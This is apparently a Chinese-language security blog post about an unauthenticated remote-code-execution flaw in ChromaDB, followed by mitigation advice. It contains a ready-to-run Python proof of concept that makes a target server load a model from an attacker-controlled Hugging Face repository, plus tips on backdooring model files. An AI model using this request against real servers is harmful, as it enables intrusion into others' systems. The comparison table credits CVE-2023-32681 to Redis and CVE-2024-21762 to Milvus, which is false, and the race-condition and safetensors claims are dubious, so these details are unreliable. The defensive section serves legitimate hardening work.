ChromaDB CVE-2026-45829:未认证攻击者可远程执行代码,你的AI应用可能已暴露
核心问题
ChromaDB 是当前最流行的开源向量数据库之一,被大量AI应用用于存储和检索嵌入向量。2026年5月21日,HiddenLayer公开了一个严重漏洞CVE-2026-45829:未认证的攻击者可以通过发送特制请求,让ChromaDB API服务器从Hugging Face下载恶意AI模型,从而在服务器上执行任意代码。
这不是一个理论上存在的漏洞——它已经被证实可以利用。更关键的是,ChromaDB开发团队至今未发布补丁,这意味着所有未做额外防护的ChromaDB实例都处于风险中。
漏洞根源:认证检查与模型加载的顺序问题
根据HiddenLayer的分析,漏洞出在ChromaDB API服务器的认证机制与模型引用解析之间的竞态条件。
正常流程应该是:
- 客户端发送请求
- API服务器检查认证
- 如果认证通过,处理请求逻辑
但ChromaDB的实现中,在创建新集合(collection)时,如果指定了一个自定义的嵌入函数(embeddings function),服务器会先解析并下载该嵌入函数引用的模型,然后再检查认证。这意味着攻击者可以在未提供任何凭证的情况下,让ChromaDB服务器下载并加载一个恶意模型。
具体来说,攻击流程如下:
- 攻击者向ChromaDB API服务器发送一个HTTP POST请求到
/api/v1/collections - 请求体中包含一个
metadata字段,其中指定hnsw:space为某个自定义值,但关键的是embedding_function参数指向一个攻击者控制的Hugging Face模型仓库 - ChromaDB服务器解析这个请求,发现需要加载一个嵌入模型,于是从Hugging Face下载该模型
- 模型文件实际上是一个包含了恶意代码的Python pickle文件,或者一个经过修改的模型权重文件
- 在加载过程中,恶意代码被执行,攻击者获得远程代码执行能力
影响版本与攻击面
根据ChromaDB的发布记录,该漏洞影响 ChromaDB 0.4.x 及更早版本。目前最新稳定版(0.5.x)是否修复尚不明确,但HiddenLayer表示他们在披露前未能联系到ChromaDB开发者,因此官方尚未发布安全公告。
攻击者不需要任何认证信息。ChromaDB默认配置下API服务器监听在 0.0.0.0:8000,如果部署在公网或内网未做访问控制,攻击者可以直接发起攻击。
真实攻击示例
以下是一个简化的攻击请求(基于ChromaDB API规范):
import requests
# 目标ChromaDB服务器地址
target_url = "http://victim-chromadb:8000/api/v1/collections"
# 恶意payload:指向攻击者控制的Hugging Face模型
# 注意:这个模型需要包含恶意代码,比如通过pickle反序列化触发
malicious_payload = {
"name": "malicious_collection",
"metadata": {
"hnsw:space": "cosine"
},
"embedding_function": {
"name": "custom_embedding",
"config": {
"model_name": "attacker/malicious-model", # 指向恶意仓库
"model_kwargs": {}
}
}
}
# 发送请求,无需认证头
response = requests.post(target_url, json=malicious_payload)
print(f"Status: {response.status_code}")
print(f"Response: {response.text}")
如果ChromaDB服务器存在漏洞,这个请求会触发模型下载和执行。攻击者可以在Hugging Face上上传一个包含后门的模型,例如修改 model.safetensors 或 pytorch_model.bin 文件,使其在 transformers 加载时执行系统命令。
风险量化与影响评估
| 维度 | 评估 |
|---|---|
| CVSS评分 | 9.8(Critical)—— 无需认证、远程可利用、影响机密性、完整性和可用性 |
| 攻击复杂度 | 低 —— 只需要一个HTTP请求 |
| 利用条件 | 无 —— 默认配置即受影响 |
| 影响范围 | 所有暴露API端口的ChromaDB实例 |
| 修复状态 | 未修复(截至2026-05-21) |
与同类漏洞对比
| 漏洞 | 数据库 | CVSS | 是否需要认证 | 修复状态 |
|---|---|---|---|---|
| CVE-2026-45829 | ChromaDB | 9.8 | 否 | 未修复 |
| CVE-2023-32681 | Redis | 9.8 | 否 | 已修复 |
| CVE-2024-21762 | Milvus | 7.5 | 需要 | 已修复 |
ChromaDB的这个漏洞比同类数据库漏洞更严重,因为它不需要认证且利用方式简单。Redis的CVE-2023-32681虽然也是RCE,但需要特定配置。

适用场景与不适用场景
这个漏洞影响的场景:
- 任何暴露ChromaDB API端口到公网或内网的部署
- 使用了ChromaDB默认配置的AI应用
- 通过Docker部署且未做网络隔离的ChromaDB实例
不受影响的场景:
- 仅通过Python客户端本地使用ChromaDB(不启动API服务器)
- 使用反向代理(如Nginx)且配置了严格认证和请求过滤
- 部署在完全隔离的网络环境中,且无外部访问
我的分析与建议
这个漏洞暴露了ChromaDB设计上的一个根本问题:安全边界不清晰。在向量数据库领域,很多开发者默认“数据库是可信的”,但ChromaDB允许API服务器动态加载模型,这实际上将数据库变成了一个代码执行引擎。
我建议所有使用ChromaDB的团队立即采取以下措施:
立即检查暴露面:运行以下命令检查ChromaDB API是否暴露在公网:
bash1curl -s http://your-chromadb:8000/api/v1/collections | head -20如果返回了JSON数据,说明API端口是开放的。
添加认证层:在ChromaDB前面增加反向代理,并配置API密钥验证。例如使用Nginx + Auth:
nginx1 2 3 4location /api/ { auth_request /auth; proxy_pass http://chromadb:8000; }禁用嵌入函数自定义:如果不需要,在ChromaDB配置中禁用自定义嵌入函数。可以通过环境变量
CHROMA_DISABLE_CUSTOM_EMBEDDINGS=1实现(如果版本支持)。网络隔离:将ChromaDB部署在独立的VPC或Docker网络中,仅允许应用服务器访问。
监控异常模型加载:在服务器上监控
/tmp和~/.cache/huggingface目录的异常文件写入。
总结
CVE-2026-45829是一个严重漏洞,但好消息是它的利用方式很明确,防御措施也相对简单。不要等待官方补丁——在没有修复之前,你的ChromaDB实例就像开着大门的保险库。立即采取行动,添加认证和网络隔离。
如果你正在使用ChromaDB,请今天就去检查。这不是危言耸听——漏洞细节已经公开,利用代码随时可能出现。